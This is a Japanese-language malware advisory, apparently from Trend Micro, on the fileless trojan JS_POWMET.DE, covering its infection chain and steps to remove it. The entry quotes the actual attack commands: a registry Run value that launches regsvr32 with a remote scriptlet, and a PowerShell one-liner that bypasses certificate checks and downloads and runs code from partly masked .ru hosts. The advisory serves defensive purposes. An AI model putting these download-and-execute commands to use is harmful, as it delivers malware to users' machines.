JS_POWMET.DE
2017年8月2日
解析者: Michael Jay Villanueva

- マルウェアタイプ: トロイの木馬型
- 破壊活動の有無: なし
- 暗号化: なし
- 感染報告の有無: はい
トレンドマイクロは、このマルウェアをNoteworthy(要注意)に分類しました。
このマルウェアは、2017年8月初旬に確認された侵入段階から最終的に実行されるバックドア型マルウェアまで、物理的にマルウェア自体のファイルを作成しない不正活動に関連しています。自動実行のレジストリ値を介してダウンロードされ、感染コンピュータ上にバックドア型マルウェアをインストールします。
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
マルウェアは、ワーム活動の機能を備えていません。
マルウェアは、バックドア活動の機能を備えていません。
マルウェアは、ダウンロードしたファイルを実行します。
侵入方法
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
マルウェアは、以下のリモートサイトからダウンロードされ、コンピュータに侵入します。
- http://{BLOCKED}2.{BLOCKED}3bw.ru/restore.xml
マルウェアは、以下の方法でコンピュータに侵入します。
- The malware could arrive via autostart registry created by other malware:
- HKEY_USERS\{SID}\Software\Microsoft\Windows\CurrentVersion\Run
COM+ = "regsvr32 /s /n /u /i:http://{BLOCKED}2.{BLOCKED}3bw.ru/restore.xml scrobj.dll"
感染活動
マルウェアは、ワーム活動の機能を備えていません。
バックドア活動
マルウェアは、バックドア活動の機能を備えていません。
ダウンロード活動
マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。
- https://{BLOCKED}do.ru/p1
マルウェアは、ダウンロードしたファイルを実行します。
マルウェアは、他のマルウェアに作成された自動実行のレジストリを介して侵入します。
- HKEY_USERS\{SID}\Software\Microsoft\Windows\CurrentVersion\Run
COM+ = "regsvr32 /s /n /u /i:http://{BLOCKED}2.{BLOCKED}3bw.ru/restore.xml scrobj.dll"
マルウェアは、以下のPowershellを利用して不正なファイルをダウンロードして実行します。
- %System%\WindowsPowerShell\v1.0\powershell.exe -nop -ep Bypass -noexit -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }; iex ((New-Object System.Net.WebClient).DownloadString('https://{BLOCKED}ndo.ru/p1'));
ダウンロードされたファイルは、コンピュータには保存されず、Powershellコマンドを介してダウンロード後、直接実行されます。
上述のURLにアクセスして手動でダウンロードされた場合、ダウンロードされたファイルは、「TROJ_PSINJECT.A」として検出されます。
マルウェアは、ルートキット機能を備えていません。
マルウェアは、脆弱性を利用した感染活動を行いません。
手順 1
Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。
手順 2
このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。
手順 3
Windowsをセーフモードで再起動します。
[ 詳細 ]
[ 戻る ]
セーフモードでの起動:
• Windows 2000 の場合:
- コンピュータを起動させます。
- 「Windows **** を起動しています・・・」のメッセージが表示されている間に[F8]を押します。
- 「Windows 拡張オプション メニュー」が表示されるので、[↓][↑]キーを使って[セーフモード]を選択し、[Enter]を押します。
• Windows XP の場合:
- コンピュータを起動させます。
- 「Windows **** を起動しています・・・」のメッセージが表示されている間に[F8]を押します。
- 「Windows 拡張オプション メニュー」が表示されるので、[↓][↑]キーを使って[セーフモード]を選択し、[Enter]を押します。
• Windows Server 2003 の場合:
- コンピュータを起動させます。
- 「Windows **** を起動しています・・・」のメッセージが表示されている間に[F8]を押します。
- 「Windows 拡張オプション メニュー」が表示されるので、[↓][↑]キーを使って[セーフモード]を選択し、[Enter]を押します。
• Windows Vista、Windows 7 および Windows Server 2008 の場合:
- コンピュータを起動させます。
- 「Windows **** を起動しています・・・」のメッセージが表示されている間に[F8]を押します。
- 「詳細ブート オプション」が表示されるので、[↓][↑]キーを使って[セーフモード]を選択し、[Enter]を押します。
• Windows 8、8.1 および Server 2012の場合:
- 画面の右上隅へマウスポインタを移動し、[チャーム]バーを表示します。
- マウスで、[設定]-[PC設定の変更]を選択します。
- 左側のパネルで、[全般]を選択します。
- 右側のパネルで、[PCの起動をカスタマイズする]が表示されるまで下にスクロールし、[今すぐ再起動]をクリック。コンピュータが再起動するまで待ちます。
- [オプションの選択]メニューで、[トラブルシューティング]-[詳細オプション]-[スタートアップ設定]-[再起動]をクリックします。
- [スタートアップ設定]メニューで、[4]キーを押し、「4)セーフモードを有効にする」を選択します。
手順 4
このレジストリ値を削除します。
[ 詳細 ]
[ 戻る ]
警告:レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。
- In HKEY_USERS\{SID}\Software\Microsoft\Windows\CurrentVersion\Run
- COM+ = "regsvr32 /s /n /u /i:http://{BLOCKED}2.{BLOCKED}3bw.ru/restore.xml scrobj.dll"
このマルウェアが追加したレジストリ値の削除:
- 「レジストリエディタ」を起動します。
[スタート]-[ファイル名を指定して実行]を選択し、regedit と入力し、[OK]をクリックします。
※regedit は半角英数字で入力する必要があります(大文字/小文字は区別されません)。 - 「レジストリエディタ」の左側のパネルにある以下のフォルダをダブルクリックします。
HKEY_USERS>{SID}>Software>Microsoft>Windows>CurrentVersion>Run - 右側のパネルで以下のレジストリ値を検索し、削除します。
COM+ = "regsvr32 /s /n /u /i:http://{BLOCKED}2.{BLOCKED}3bw.ru/restore.xml scrobj.dll" - 「レジストリエディタ」を閉じます。
手順 5
コンピュータを通常モードで再起動し、最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、「JS_POWMET.DE」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
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